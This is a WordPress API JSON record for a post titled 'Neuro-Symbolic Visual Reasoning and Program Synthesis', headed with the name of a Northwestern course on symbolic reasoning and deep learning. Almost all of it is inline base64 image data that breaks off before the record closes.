{"id":4559,"date":"2024-03-19T13:22:43","date_gmt":"2024-03-19T13:22:43","guid":{"rendered":"https:\/\/www.2megy.com\/?p=4559"},"modified":"2024-10-30T05:51:32","modified_gmt":"2024-10-30T05:51:32","slug":"neuro-symbolic-visual-reasoning-and-program","status":"publish","type":"post","link":"https:\/\/www.2megy.com\/?p=4559","title":{"rendered":"Neuro-Symbolic Visual Reasoning and Program Synthesis"},"content":{"rendered":"<p><h1>COMP_SCI 496: AI Perspectives: Symbolic Reasoning to Deep Learning Computer Science Northwestern Engineering<\/h1>\n<\/p>\n<p><img decoding=\"async\" class='wp-post-image' style='display: block;margin-left:auto;margin-right:auto;' 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mNkNTbDveT4aOEDiPtq1Z65KTpkzLzdXkZFsrdS0mbamAsgAkJPm5QVYISVAnAjr\/tPXMV2nrBFy80Muy4OMnygMjxMWdpzcNvWLatuOSb09VGA2HXUsONhvcklClqW8cJSokJQScdIijRQJPAFxUK2jJr6e7\/CJjs0U56xTYc5zBFx81Bsm+KZw2cIXEjbNpz9y0nTLzecrElItlbiG0TjUwFHAJSlXYFG7BCSQTiJI0Buu4eM3yhVN4m7Q06r9vWHalv8AmDk9VGko7Z1LbiQjcklClqW+r0UqVhDeTjpHTvaQdxMR9P8AEPoPSa+q1aprFZ8rV0OhlUk7WGEupcJwEFJVkKyRyPOCLndwr3PO2Bxj676B3RZ9dk6pqjP1FimTolsMS6ff1ped3EHslJWkpUkKzkRBtu6kXVoPw3ancCdzaL3hMX5ddddXTXJeS3tONqEugqCfhr5S+UlsKB3jmMR3CZdamG0vy7qXG3AFIUlWUqB6EEd0fe0joYIuQ+s2nVf0pZ4H9Prvl1M1elukTzC+ZZddnGHVNH1o7Taf3sSpaW0eV81IxyzZj2fWfNZSOkm0+MUKVEYziCLhrp\/o5eesnA3rBJWJTZup1O2dUZa4TT5Rsrem2G5R1hxKEjmopTMlzaOZ7MgAnAjZjSPjLufXq6tINHtM+GdqffteXladdNVuijduijhlDSFuyziFjscBtR98wonYAnI59MtpxjMfWPHnBFRPzxXI8YYEMDwgiZHjDI8YYHhDA8IImR4wyPGGB4QwPCCJkeMMjxhgeEMDwgiZHjDI8YYHhDA8IIihkERGOo95N0K4JOks0rtXXEsuPvF9CBsU72aRsUcuYUc4GD4HPKJOV0iONQBKztw09tmkSXntOSJ1yfqDAMuxLpySSvIIwoDp3kdOZgi8d\/3TVbRoMs5RqRLS8smZzPvFQDLcskElwKJSOqEpV3pSoqwraY548S2rFza7V6asHT+16w5Q6GpxVQmULx5wVqyy6tII54AO05J58uUbW8T933QOGy8PYW8KPUJacpnmzFTZX6G5Mwhcyla8+i4qX7VCO7cUZxzzoNw86vzdnTNZpDNFQ4urMJdffS72TTPZgguLGQEpwQCEnPIbcZOZoXNva80CqeVG41JGLcOisk3pnastQ56jvy1Tla1S6KxXZmquK3SZQsthTKUYz+fyVk5KVDHSK3ZppT36cxVbTW+5VpidSltAWgCZ3BTm9sZ9FCUjIJwAAeuMi2aj1m4Z+co1jG7KgqWmn1TU9Jy0wVSjS3UlbK0FSQkHcVqShK1ZSknkScWpirP0I02atqXmFsyDvmSJF2olSEsPBYBT2gWGXGy3v5oWAPhZSCI5s+bHDKITdn+BehwtFyM7Eky2kbW+nqaFmlspwm8Ul9WNqCu0NVHpmq0qaWpDD8ykOPUuZUkkKaPQoUnJIzjmFD17Xap1eUue4KSFNVJuhqSpDaJhphTrbgWkTJbaJKlLSMcnB1JKc4jl23e9Rui8JCtUBqUkzN9nLS7UwodgpKkhr30pABSQATgdOgHSOpumtJptZsylUG7TS647RJpuSrJYC0OOzu0kkrXlRa3LUUjI7sx1MeJ7zub6LzeZkxxARu9f0WU8MQqDKKq2totSqi1gCV9HtQ2gLQHgSAEEq96HJJWrBIie+4Rj1j2pSLNt+Vo1HkvNmmmmg4Dt3uOJbSguOFACSshCdxAAJycRkPIxA47nEq3E3YwNVYQihI6RhSKsfO4d3OIt1D1yZtH2Rkba0\/u28Z6moX54aJJNKl5FQb3jt3n3WWz3EobUtaRzKRkZhClXPITMhJv3nwt65V+uTjSXH59ybpyDOrI3KW2gVdISgZ5JCUhKceiOkBysFwHJWyl\/t21VacKJcM87LImFBaSzuC\/RIJOQDgDlk+uMClW56lVq6ZCjKmvN2p+XRvZb7ValJp7HZA8jyJ6nxA8Yiik6i3GxX6haaeHvWqbk5JLE7TpJ5ukvzcjLTG5KmlrdqWOyDjG5pW9ahlaSAlKM5dWKlftGnXJuqvfki7XCurzEuh1L7zTbTSGmmC4kFtTuxtJUEnZuWQFKABN3FYcgtiae556Lg6nKMNkmTI3sLHWlMNaqNtT7MhatzVBlqdn0tuCX7QJWVpIV9HpDA9fIc4\/Gq3FVJe6JajU5+TRKNOyzUwFNqU6pTu\/CRjknCUZyY8tmUqTvak25f1w09SKvLS6gysnbyKlJ37Ry9NOFY54yMRS9mK3UbwoNuUW76lbrc7KzkzMP06Xk3HXC12QQk+csPJA98PRIPTnEMm2J23qRd9r9lZgbLks826BogjqRXqpCbyE8\/GPuIvmrbrUhMJk5viJvNt5ZQlKFSlDBJWran+93erl88foqk3ba9ftt57Ve5a7K1GpKk5iTn5WlpaWgyz7gO6Xk2nAoKbSeSwOuQRyiEtI5K6TZGOO1pshSZCKDlFYwpEhCEESEIQRYRrhLVCc0bvaUpV1S9tTj1AnkMViYd7JqRWWVYeUvqgJ6lQ5jqOccc+EKyOGfUrTW8rE1Q0auur3RKSFcq7t+U6YJlkNyrJcSmXWvCA7yyAtCgokFXI4HX\/iG0wm9adEb00rkKoimzNzUl6QYmnAShpxQykrA57cgA454Jjm\/Ysj5RzRvQCp8IVF4W5Spyr7FSpklcbU00pLcvOOOKdUFh0NKO55woUspwCkKSduIItj\/ACb\/ABFWVqDZLWjliW7qMaTaMgXJSt3YJdXnDRdwGEOMeirZnAGOQAEbqxCPBroXVOHXh5tbTCvzLD9Ykm3JmoqYVubTMPLK1ISr84JyBnvIJ6RN0ESEIQRIQhBEhCEESEIQRIQhBEhCEESEIQRUV0iI9S6C3UX6\/RJ6ozchK3LTRKN1F5z3lh7OUoSR8FJCTn54l2PDU6PTaulpNQk2nwyvtEb052qxjI\/TBFpfdFhHQ7hkum2112Qumaku0rM+qYCpmXaYQ3sAdBwVKUVAD\/e5wBmOadvV960qqqcpOX2tqpdSJnILzJ7l7T8LkDyPI846LeUrvCU050voWllqspk3rtcWmoO7cuOU6XWlws7vBTy2ifFKCOYMc0ugx3CCKt5VWu16st3XIpbanZfCEsM5CA2BgBIznoSOueZjxXFcV0Xg0ikuS6ZaUeDT8ypIITvUkKKSSkc0k4I5808jjr7QSDkHEVK1kYUokDpEL4GPeJHCyOisRZc8MboY3kNd1HdfUosU59hyVAJlFIU2VDIJScgkd\/MR1r4JJyp6uaSy1+3JJMyj8zVHfPUtNBDdQeZSlsTBA6HCUjH7j1xyfoFHfuGvU+gSszLsPVKZblUOzLiW2m1LVjctSiAEjOSSegjslYdwaZ6OWFZmm9kak2VM0+jNtys887XJQKWOrj364PSUsqVyHUjl4XIpHt+Fpq1y8uGJ4D5Gk12U9AoQAlPL6Ys9Zrk\/T6rS5GVpL82zPOqbefbPoyyQnIUr1HpEZ3BqBp3P3lTKpK6q2h5s0EKX\/X6WABSpRVnCu8KGOfj4RfpbV2wkVR0TOq9lKkVbigCuSu4eH5\/\/AGxGAGtAd1WvmySksALaPVSQleT1i21q4qNQeyVWKnLyYmF9m0XlhO9XgMxFFN1Ls2RvqYqA1StU0qaW6FpVccqpGNqShQTv5ZUVDHdt9cfV5ag6d1GR7VWq9gOhp91ajM1eXWG2FDHoBK8lYHMfojYRsDgHO4WpypXxFzGGwa5\/dfFHFwOWhcjlOelhTlVG4TOhfNxfvrwTtP0D9Efjd1BvKsTFrVCjU1p5FKlWnJZwpWSCptrOSFD85J69wi32vS5aet+sV81p5h91isTyKYrKFiXfW8tpa0KwU5Q4kkEZ6dIyG+61d9HoVr\/ks3OrDsinthLM9pzAZxnkccisfSfCLOLuZM0Mq6PVcvUts2M90m6g4fKbPHbsvFdV0VG072uqsSqECpuW1QJOXCk7m0zT87NtIKgOqQpYJGeYEfNW0xpVwViXta7tVbzqVVDfnRGZJDOccyhPm5CBy6c+XeesWnVkuM3hPGbBSuekrVUzn+6Fqrr7XH70vN5\/fCJLp9QembjcQ9MNKfUVoclxt3toGcHGNyeg5k4VnlFWOw8kdR2XWyCDE1pFg9bFrH6hYBkaY6hjWq+W2klMmOzmJFaG1q9FIITLZABIz0wBFsbepGj0\/p7Sb71DTMCRo09JrrNYmUNrm3feDlSjgEkA478DvOTF50xs5arYrtMuOiuSrdUqDy1NPLJWtBCRuJ8Tju\/TmM3lZi3qm8ilmRS92AUlrtpbKPQO1QSVDHIjEYmYInlrTdLOFPJPEHvbtv0\/nsoSrVQ0kq9YmKuzxAUOVS68p\/smpyXKU5cK+pV49\/qjKZfUHTqs1OwrUta\/KJWp2UqSR2UnONuLKG5CYSV7Ek4HT1DMZNd+h2ml8Vel1y4beDs3RnUvSKmJhxhLTiVBYVtbICvSSk+kCOUZZJ2\/R5ENGWp0shxlISl0NJC+mMlWM5Pf85hJPJK0NeeAmNp8GLI6SIUXdeVcR0isUAwMRWIldSEIQRIja++IzRnTG+KJpxfl9yFGuC4gg02UmQpPbhay2nCsbRlQxzIiSDHH\/wAsTQ69cfEpp9RbYp8zPVWZtvErLywy64sTLqsJA55wCeXhBF1Av\/XvSfS+7LZse+bvl6XW7xmEStElHG1qVOOrdQ0lKSlJAJW4gcyOsZ8kZ744WyfE\/UuIzVvhQkLqZe\/Kqx7sptJqcwsHE2k1OT7F7J\/PKUkKHiknvjbfUDXPiq4l+Ly9+Hzht1JkLBo2m0k+uanHpYOKnphlbTbm8lCiPfnChIGBtSVHOcQRdHRy6RWOX0vxu65XVwJaiXNULgFK1I06r8tRJmryDaU+cJU6BvKSNoUcKScDBxnAzFpleJjjQ091T4e7v1I1GpVStTV9+nsGgSUskIYlnXWmFFxSk7i6Q6HdyVY3DHSCLqvCKDPfFYIkIQgiQhFCQOpxBFWEQXrNxh6MaLrNMq1fTVq1nb7G05SXHEHn8NWQlH0n6IgKq+U+kUKCqRYkj2IGVOzdXQAD3jCfSyPUk57sxE+djOpRb4wjQ+2\/Kq2RNXDTqNc9kPycpMvdlM1GUme1aZB6L2qSFFOesbq2helr33RGLhtGty1Tp8ygLbeYXkYIyAR1B9RjZkjX9EV7hCEbokIQgiQhCCLXvjk0zpF\/8PF3Tjlv0mcrNCp6qhTZ2bZQXpLs3EOPqadI3NlTTa0kJI3cknIOI4xD6fpj+hWrU6Sq1MnKZUZNqalZxhcu+w6nch1tQIUhQ7wQSCPXHBWS0T1llZhFuTmmN1ey0q2lqYYNLeUsOJACuaUkHnnmCQe6CLFYR66tSKrQak\/R65TJqnz0qrY9LTTKmnWz4KSoAiPJBFsxwO2KxcF1126Hq5ctHdpEq3Lys1RrWbrZKnSreFtuy76EYSkYJTn0jg9Y3NNsTnM\/qvaoH\/4QU7\/VUazeTYmWqhc172sZiqCZcpjFRlWpKoPSwWW3Che7s1p3HDiSB6jG\/dao1oW65TZarVq7EzFRWltDbdfnTsJIGVe+8hkgf\/wxs1jn8NFqCXIjh5kND3UO\/kxOfK9qh\/yQU3\/VUPyYnPld1Q\/5H6b\/AKqiYHLdpHspLsy713OUpxhUy5VPyhm+wQgJ3Jx77lWeQ5CPdSbVtOvU+YnaPcF0vFncjaqvTySFYyMpLgPOBY4ckLDcmNx2g\/wKEfyZmxyGr2qH\/JBTf9VR+krRKzT30T1O1e1MEywd7Rc0hkUp3DoFFumIXjPXapJxnBB5xKtoW2KnTZuduldyU3zMbipNxT5C0hJJVhSwR06c4pUKdbTMvTKtS6tdNQpVQ6zDNfnlEZIAwO069Tz8I28lwcW0ohnQuYHk0D3HP5LCqRd9R1Clpk0W2bqTd02l+hVBldIVK0qSdKShybW7MNhQTtUHA0FqXzSnbnJEh6hVa8bPftqUtll+YkUp7CYQ3Lb1KCAgDcrB2jB7gOh5+GCUBFhW4bkeq1eujZM3NNBhUtWZ0kthpg71bXOmFDKjH6VeizFWrc\/7F6gVyi0WSm0U5lSZ6dnJiamC026pwlT6UoQA6EgAEkgnwETxGRjmve3cOQL9VTnbjSskghk2GwSR6f8A1ZRxIWhQbpsulzNTZmEzkrW6W3LTErMuyzzQdnGUrSlbagrBGOWeoSeoBiymwZAXSmhhGovmCnywaim9apsBx\/lGevL\/AEYi2U6iV+3bkoqa1qRVbxtyaSuqUuWnGkthuotraS2lxwkuKbT2gcSlRJCgSTjaBncxdtEozcxVbjp6FusPMupclN5QsuLKEq2qPXck8\/mMawxk38N3ws5uS1oaBJVck+lKy3Xo5Zdv1m1LumLjvt92gVlM7LtuXFOzgU6WltgFLzxCUHtDuwPSTlJ9FRBz+3KXc0pXZh2py1KTTUF5Uq6xMOKmHO0XuHaIKAlGASPRUrPKP2dqNV2+zi2cSSEZMspQ3dn17TkD6R5cs9PXCsXpL0aos052QmFhZSlTqdoSkn5zk\/o\/0xDtsAAcq42cNJc4\/DxSv6KlKuTTki3MNKfZCVLbChuSD0JHdmPWD6ojGsO2rY1+KuKacrM3Va3KLKZSSkXJkhlsthSyG0kgAlIGe9RxHvb1mtxxCltUC61pQSlRTQJkgEdQfR6jEYeGg\/CbUkMj3A+aKNmufTupAhHjpFTlK1S5SsSDhclZ5huZYWUlO5taQpJweY5EcjGsHFl5QXT\/AISr0pdlXbZFw1mZqtP9kGnqcpgNpTvUjad6wc5T4d8aqwtq4Rqnr75QzS\/QCxdOb5rNtVusMalUz2WpsvIFrtGZcNMuEuFagP7ugcj1z4RO2i+qNL1p0stvVWjU+ZkJG5ZFM8xLTRT2rSCSAFbSRnl3GCLNT0jTPiJ4b9W9QeOTRjWy17fl5q0bOQ0mrza55ltbOHnFHDSlBa8BQPogxuWhxtxAWhaVJPQg5Bj4TMSrie0RMNKSDt3BYIz4Z8YIuZWq\/k2b6ofGlZes2iFAlHrHN10q4qvLGeYYVS1MzrTsyG21qBWghKnAE5IJKfARl2rnCZxY6U8Td18RnBxPW5OfqgSzjFWptVW2hUq47sU8sB0hCwXWw6khWQSUlJHwuhRCR6ROMd+Y+UuNLR2qHEqQee4KyP0wRc5D5P3Vy0uCO+NLZJ+QufUy\/a3L1qopZmkMy6FJcBKA66UA4G5RPLJUQMjEXLVzhF14uxrhRTQ7TlnjpYunKucKqcsjzUMvyyl7cr99wlpZ9DPT1xtJpFxQWXrJqrqFpXbtOm2pnT2bRJTU68tvsZtwkhXZAHcdpSQcgdImUrZCw2XEhahkJ3cz9EEX2k55474rH5qeYbWltbyEqXySkqAJ+aPiYfKJd92XAdW0lRCAeqgM7YIv3hENcNesWpmsFJuGe1L0im7CmKVUvM5JiYdKzOs7Ae2GQMDPKJiQ604VJQ4lRQcKAOcHwMEX0TiNCvKZ8R9x2KxRtJLFuKbpE9UWVVCrTEostueb80NsBQ5jccqOO5IHfG+ivVHDzjDrs5fXFTfSm5gTG2pJkJcJWVJCG0hAAz05jnjvzEcp2tWzWlxAChcz82t8zi5paphaipTijlRJ6knqY\/aTo9Vqqz5jIPTBPXYgmNqNLeGykGiMz1bkBNzTgClFScgeqJeoul1Hosv2crT5eXA\/cYjhSam0OqMWuzHpdC5HLnnNyU9T3exnZVxlwdUrSQY2o4AOIe5NOtaaXYj00qYt+9JgScxLukFLL+09m4g92MbevMGLvqfpxZdyTDtOl67RW6mQdqFzKELJ8PniCNKLcqVrcR1lUSptbHWLhlBywQpPaDCge8RbxMoTmyKKqZeMIflNhd5B0EVikVjqhc9IQhGUSEIQRIpgRWKE4gi5eeVVtWUpmrNrXTKSjbS6vRVMzLiRzdcZdVtz8yVCNI4238pZqi3e+uyLOklAydmSSZJZB5KmnD2jn6AUJ+g94jUiCKauDbUtvSviMtO4Jt1KJCefVSJ1SuiWpgbArqByWUHJ6AGOvd+6ayl8TUpOLnTLOSw2E9nv3JznlzGDzP6eYMcGhuyClSgR0IOCD4j1x124CeJdvW3TlNo3NUS5eFptIl5sukdpPS2AGpodxz8FXQhSc4AUnO8cjonbmGioMjGiy2GKYWFs+3KITKpltqdgQEYxyx80WOoIFr0JxUtzVuICgAnGSTk8sDw6eEZMRHytpDnwh+iNdxWXwgj4eCOisE5R3bgtpdLennmHJpkBTqOSwCc8\/wCI9O\/pFvtbTqn0G3lW9UJhVUYU+X8Pg4SeWAAScAEZ69cxlyWkp6R9bRjr1jcSvawxg8HlRHDhdIJnNtwFX7LX2\/7FuWkVmoik6dV25ZCqzjk609QajIMPshxttLjD6Zx1oBslsFKm1LUMnKeXPJ6XpvczFryrlQZpq6vMVVdXnJXdvYZ3hKEstqUn0i2ylCAspG4pKvRzylsIA7zHz2afHpGwyJQGi+B0Wj9OxnF7g2i7qe9dFElZsO65OgUmoUqlSNVnqa7MOTNLTMCWS+08kbktO7MJcQpKFJyADjBKc7oxyZnL3nKeqmVjh4uGbEy424pb9zUzeotnKACHhyHgPExsAEgRZq7bcrWpmTmX3XEmTc7RITj0vSSrByDj0kJPLnyjAmeDd0j8KLywzaDQrnsopcvDWIyyqcNCa4mUWNgbVXKWpQQcZSFdt0xy6GFR1FvybqDUpN6AVXz1I7ZuWNz0wKUBn0uz7fJA588RendI6u9qAu6zd84iREw1OJlQtRyoKyW8bsBGAP0nly53Oft+rPXA52UqsMvTTc0mbCkAI27eRBO\/cAkpAAxhfWJnxxgjZJdjniqPZUYpp6IfDtF0Obsd1hND1Iqq6tbl9anWRV7Rdm6RVZBUn5q9PKQpM212ZPm6FlPaNoDgCsHBx1BEUtG+dPLdnqtUl3FcKxOuOKRLCi1RaCpR9Jwgyw9NRwTgciTjrFg4iuHvWfVTUGmXdYN52dS5OmUldOal65Q26kd7jgW4sIebcbSTsbG4AKwMZxyix33wuau1+lUqStGoaZUOZl2FM1J2YtanzqJ4lKRuCVSKeywQo4BIwsjuBis17mtLR6rqSY7JXtkcOW9Fspp226zYVtsPtONONUiTQtDiClSVBlAIIOCCDyIPOOXnlTLKXqNxd6eWOygLmazac5LSYJ5edFMwWM+rtQiOl+i9qXTYumFvWbeVTkajVKLJokXJqSQUMuob9FshBA24QEjAGBiIX1q4P6hqzxS6ccQzd6SsjJ2IltDtKXKKWubCXFqIDgUAnIVjmD0jVWFx+u29J3XLR23JSbU++1o3YhknluA4Q89Vgloj\/gVtoz+4EbRajaiX47w08IPDlaV2T9tU\/U5qXlKrUJFwoeLSptpgIyMHaO3K8ZGSkZ5ROtB8lcqg6a6t2PK6k08zmo85JuSU77GKAp0oxNKfLKkhfp5OwZBGNsSJfHk9aNf3Dbpzo9UL5mKZdmmTTfsNdNPYKFIdSok+hu3BJISeSgQpIIMEUF6M0q8OEbygMpwz2\/qdct02PdlvLnly1bme3cZd83cWleQAkLStg80pGUrwQTzjWG1LBva\/+F\/WfVOa1lu6RZ04uJT1Lo0rOqTKvPOOAOOOn4ROzaE4IAx646LcNvAVPaT6q1HXjV3V+ralX9NSKqdKT04hSG5VpSAgrwpSlLXsAQOYSlJVyJIKbFY3k8q3Z\/Dxqzoe5qZIzL2pVQE61Ppp60pkhuBKVI35X07iIItdNada9XNRdDeE3Rdi\/KlR3dXPNJOvVmWdKZh5JmWZVO5QIKsdrvIyNxAzGU6T2vdPC\/x6jhNpOqV03LYV9WwuYcZq00l6YlnHGHcOBWNocSpleFBKQUrAIOMxO16+Tuot98N+nej09fj9NuzTRtJo1009koUh0KyfQ3bgkkJIwoFKkggx7uGXgQnNINWKhr5q9q7VtS7+mZTzGVn5xCkIlmikIKsKUpSl7EhA5hKRuwMnIItP+APRC37e4hNZL1RctyvPaNzc6qmsKm0FFS2CYR\/Vg2ZcOE5yko5nMYDbNpah648NGqPHHXddL3kb0tavrFNlZSo7JVDbfm6ykpHpJID+EhJSBsGQcxvnpxwGXFpdxO3DrbbOs82m1LrnZmdrNrKlDtnA8FnsXFhe1SErWSCU5xy9cRncXkoq2udr9pWNxJ1+3dMbmqXslULXTLFxJVuCgn9cCF4wACpPRKc5wIIoV181U1Q1Ztng5u2XvWo0G57rZflpqpyiihfnAmWZczG0HaSdpWMjGVRnXCrSrv0J8oJqVw9tak3Fc1um2H55S6xNF5157spdxLi\/zQsF1wZSBkEZjYnVrgOp941XQ9NiXWxb9D0YKEy8nMyyphycaStpXNaSkBR7IknHMqziL1SOD+q0zjKubioN7SrkrcFEcpKKOJNQcZKmmUby7uwebROMd8EXN+xdf9RtJOCLVuq2rcVTZrFwamy1ttVFMwtT0iwuUdfWptROU5TLlsY6dpy5xsppbwlXzofc+jmrlicU\/m35RyknOXHSbwr\/AGaKr2qGluMybYT74CHCAFZUDtO7nEmac+TTolF0F1H0L1BvhFYYvmuIrspUJGTLLlMmEJAbWlK1EKII59MpUpPLOY8Gkvk1rkoOolnXbrPxDVu\/6Rp2tKraoz7KkNS+3HZpUVrVhKcJOEgZ2pGcDEEW9eY5M6j8L970vjHuN9dGdmbaEwbhVUHFJaa7F3JQncsgFXaApwMnkT0zHWgJHX6I0q4zrabpWrFsX6\/ITk8BLo7FaipbUr2Sl9tgdE5bWSeXfFPPcWwOIVrCjMkwaDS1v1Uu\/USnzztKtitvU9Mm6hlximsIcQ1uGRudOdxwOZAxnlGb0Gl1Ou6az6qzdVwzzyGUPzK0MIafbbV1SlQxnoe7pEoStCtifSJ1cq2rf6ayeYUeuYtdz6i23p\/S56RnfN2FOy4eQhx1I7RtIPIDqAPHnHlw4uAAHRd6qPK1qpukVYlaqV0e3WmgXXSFT7Yecc9I9n6ZHTaRu+bujItTa+dP7tstn8jLaZxPyoen\/MO0mGlNrSoJaczlPfErW5ftIrFBl5iVmZHEyNyENvbyj1c8HHzgRbrc04q2rWrlp0tmQkJuVps65UpwzYCkoZSkAqAIOVAkY8DEkE0hyGt9VXnia2Mk9F0Yp0ymdkJabSFAPNIcG4YPMA849MfDSQ2hLaeiQAPoj7j146Lz6QhCMokUziKx5KnUZWkyExUp10Ny8q0t51R\/NQkZJ\/QIyAXGh1WCa5K9WR4x8PBa2yG1bVYODjOD80ayr8oToQlSsU67FbTjcKc1g+se\/RsBZF5UW\/7Vpl4W8t1dPqrCZhjtU7VhJ7lDJwQcgjPdHT1DQ9S0pjZc2BzGu6EirUMWVDOS2NwJHZab3R5Luh3hclVuutay112erE49OzCvMmTlbiyo9e7nj6ItZ8kxZ\/frBXf+IsxvyOkDHKU60F9yZs75YK9\/xJmJA0J8n\/I6C6m0zUi3NW65MuSKXWZmSclWktTjDiClTbhHPAUUrGPzkJ+Y7TXLcFPtSgVC5autSZKmSzk0+UDKtiElRwDjJwIjnRjiW0910qNQplmSdaZeprKH3jPyyGklKiQNpStWTkeqLcOn5c+O\/LjjJjZW5wHAvpZUbpY2vDCeT0ClhPLqY+sjxiCeJziTnOHwUDzS02K17N+c7u1myx2XZbOmEqznf6ukZDw860P64afOXxN0NmjlufekywiYLww2lJ3bilP7Lpjui6\/Qc+PTW6s5n9hx2g2OvPpd+h9FEMqIzGAH4gpV3J8YBQPQxpVqZ5Qp2h3XPUOwLNkqjISD6mDPTz6x5wUqIUpCE4wnIOCTkju7ozK4eMqpULRC2NWxYcu+\/X6g\/IrkvP1JQ12e70wvZk529Md\/fHWf4G16NkL3w15xAbbgCSRYsXxwPVQjU8YlwDvl6raPIisQvwy8QM3xA0Gs1mbtlmimkzqJQNtzRfDmWwrdkpTjrjETRHntQwMjS8l+JlCns4IsH9RwrcMrZ2CRnQpHwsDGPGPqMS1Yvh3TbTyuXyzTkz66NKmYEspwthzmBjcAcdfCIIIX5MjYY+XOIA+p4C2c4MaXO6BZUEgY5f6I+to\/YiNYOHrjIqOt+oSbGmrElqShUk9N+cIn1PEbCnCdpQOufHujaCL2raPmaHk\/dM5u19A1YPB6ciwosfIjyW74zYQDljEOUViiukcxTpkQGI00vfj9q1o33WbNb0zlJlFKqLsiJg1NSC4ELKd23szjOOmY3Il3O2l2nSMFaEqxnpkR2dV8P6hokcUuaza2UW3kGxx2JrqOqrQZcWSXCM3XVfpFIrCOMrKRTEVhBFTA8BFYQgiRTA8IrCCKmIrCEEVMDwisIQRIx287Ftq\/acKXctOTMspJUg5wpBIwcEcxkcjGRRSNXNDxR6LLXFptvVaK6k0N3TS4ahp9LPrlGwwXKO46vJeYx6O0nqUn0T38gYhqq6a2xKUti7dQ59E9OTDYSp90re2nBOM5wP0RuRxu2tp9W9GZupXnMt06ekX2kUeohW11iacWEpCSOZBzzT3gRzlrFvcQWnsjM0eYknq\/Q3dqg82e2bI65A+Gn5sR57IxBDKdrqtd3Eyy9g3C6Wd1O0LFoNPk7yamzJiSUlxhISltJTu+CfnEZfw48RFFtfUGrahVGRmnrcp8gZNbrPMp3rSVOAHqEgZPqjV9yj6r6hKlafNyM1KUtLnodr6KAeYyE9T+iM6vaSd0w0rXbckgIdnUCXcVkZO74RPr6xXYBDI1wNvJ\/RSTl2RG41TV2Hta6rcvOhytyWtWJapU2cbDjMxLuBaVA8+7ofVF2BB6GODujXEbrDoVNqe08utUrLrz2sjNJL0q4T3lsnAPTmMHlG3ejflVarJKFM1ytNuabJO2p0ZGxYycgKaUrBGO9Jj07ZAV56l0ohEMaccYXDrqipuWtnUumNzq8f1HPqMq8CfzcOYBPzExMErOSs8wiak5hp9lwZQ40sLSoeII5GNwQVhfvEG8Zd+N2PoXWUNvbJ2ubaVKgHnlz4Z+hAVE4bvVGgflEr8RU7xoFgyj+5FHllT0ykHkHneSfpCAf86PX+BdJOs69jwEW0Hcfo3n96C5+qTiDFc7vx+a1QbolQcoExcjbBMhLTbMi454POIcWlP+a0s\/R646AeT5v013TSpWRNulUxbk6VsgnJ83eyoD6Fhf6Yg+0ZTS1HBjcdBn7vojd11ScVXGZNycbEyh1haEtoSknIKmm1DH+FPjFj4INQPyM1vk6RMu7ZO5mF05eTyDnw2z8+5OP99H2vxa53ivQ8+IxkOxpDt4IsNAsjvfxBebwKwsmJ12Hj9\/4FtdxK8Vk7oFdFKt2Ws9mrpqMgZwurmy0UEOFO3ASc9IjC6vKKKlk0lq07FYm3n5KWfqCpqbUlDL7iEqcZb2pyrYSU7jjJB5eOJeUbP\/AHTLXOf7xq\/l1ReeFHhI091I00Z1Bv7z6beqUw6iUlmZgtNsttrKMnbzUpSkk+AGOXXPkcLQ\/DGneGsbW9Wic5zrFAn4iSa4sdAPZX5cnNlzH48DuAsi4yeIuqUW3E6YSlAaAu2gsTrk725CmUuK9JATjnyTjOe+NauHviCmdAKrWK3LW23WDVJVDJQuYLWwIUVZyAc5zG3fHRYtpS+h79yJoEkqr01yn0+Vn1tBUw1L9skbAvrjBOR6zEFcCOn9kagXTdEne1rU2tsS0gw4w3PS6XktqLhBIChyJEdPw7k6PF4IyJ5MclgdTxfLj8NHrxVjj2UOWzIdqTGtdzXHsFPfFvqzaNiyFnTd1aU0i8DVWphxlM+of1LhLRUE5Sc7twz+9EY3SeJKjWzwzTOoFpaW0yiy81W3qQaXKP7G0qU2MvZCOZ5jljuiw+UgbQw1YDLaQlCBPpSkdAB2GBF\/4RbRtm8eFqrU+6aDJVWWZq8\/MNtTbIcSl1LKNqwDyBHcY89Fp2m4\/hLE1WdjnXMA4bjRbufxV0Dx1pWjLK7PfC0j5eOPYLR21q1JUG6aZX6tRmaxLSU4ibfkX1YRMpSrcUKODyVjB5HIjdi89dLEb4ebRvif0MtybptSqkzLsUQhCJaUWgry4gJRjKsHPIdY1M0KpFLr+s1m0Wt09idkJ2sMMzEu8gLbdQVYKVJPIj1Rtlx72xb1n6R2lQbWo0pSqcxWXFNSso0G2kFTSycJHIZJJj3Pi84Gfr+nadLG7c6jYcQNvxccHrfqubg+ZHjSzAih7evCkfg81FtfUS2LhnrW03pdnNSc+2y6xIKBS+otBW9WEjmAcRi+svHnblhXDN2pZFv\/AJRzcgstTE2uY7KWDg+EhJAJXjmCRgeBMYBwaVaaoPDxq3WpElMxJB55pQ6pWJPIP0HnEJcJ9mUHUTXmhUW7JNE\/IFMzOPS7vNL6kNKUkK8RuwSO\/GDyzHl4vCelHU9Uz85rnQYvRlmz8N8km\/1Vw504hhijNOf61+CnW2fKQzi55CLv04ZRJqUAt2nzpU4gZ5natIBx84jZC\/tTrPq+gtX1Kp8hJ3PQl07znzN84bmE7gC2vkcEHqMciIwLXzg5s7U9umzNoKpNoz0otQmH2pIbZhoj0UlKSkZBGcxZano\/UNE+EW\/bOnLnZraCy7NMutMltLaVlGU4Kj3gn6Y85mN8Lam3FyNLa6KYyNDo7cfhLqsO9D9D691cjObCXsnIc2uCse4VtarBvrVVFBtzQ6gWpNmnzDwqEioF0JTtyj4A5HPj3RJ\/EDxb2todUG7bZpT1cr7jQeXKtuhtuXQfglxZzzPcACcc+UaocAozr6jn\/eec\/jREpcV0lwsW\/fk5VL5k7jrd21FDbsxJ0yfLaGUhASjeT6KMgDkMnvjuax4f0xni\/wC4yxSSRhgO1pLnE+5JsN\/FVsfKm+4eY1wBvqeFZGPKSXaJvdMaZ0oy270koqDgWB6iUYz9EbRaCcQlqa90SZn6Iy9IVCnqSiepz5BW1u+CsEfCQcHB5dDkCNEtTdWNObx0xTb1n8P4oTEkppMtXU4UpraobgtxLY3FXMHKuZMZv5OdxadU7iQFHaqgnIz1IfbwYteI\/COlu8PT6nBinHliPA3B1iwOaJHr9QQtMPUJxlthc\/e13tSgvWf\/AGb7w\/3QTX8sY67yH9gy\/wDikfxRyI1o\/wBnG8B\/6wTX8sY67yH9gy\/+KT\/EIofah\/t+lf8AbP7MUuif6s31\/wCSvRCEI+Or0SQhFCfVBFWEYpqRqBSdNrdFyVpfZyxmmZXcc7UqcVgEkdB64yKQnWahJsz0ssLamEJcQoHkQRmNN4Ltnqs7TW70XphCEbrCQhCCJCEUgirFivK9LWsCgTNz3jX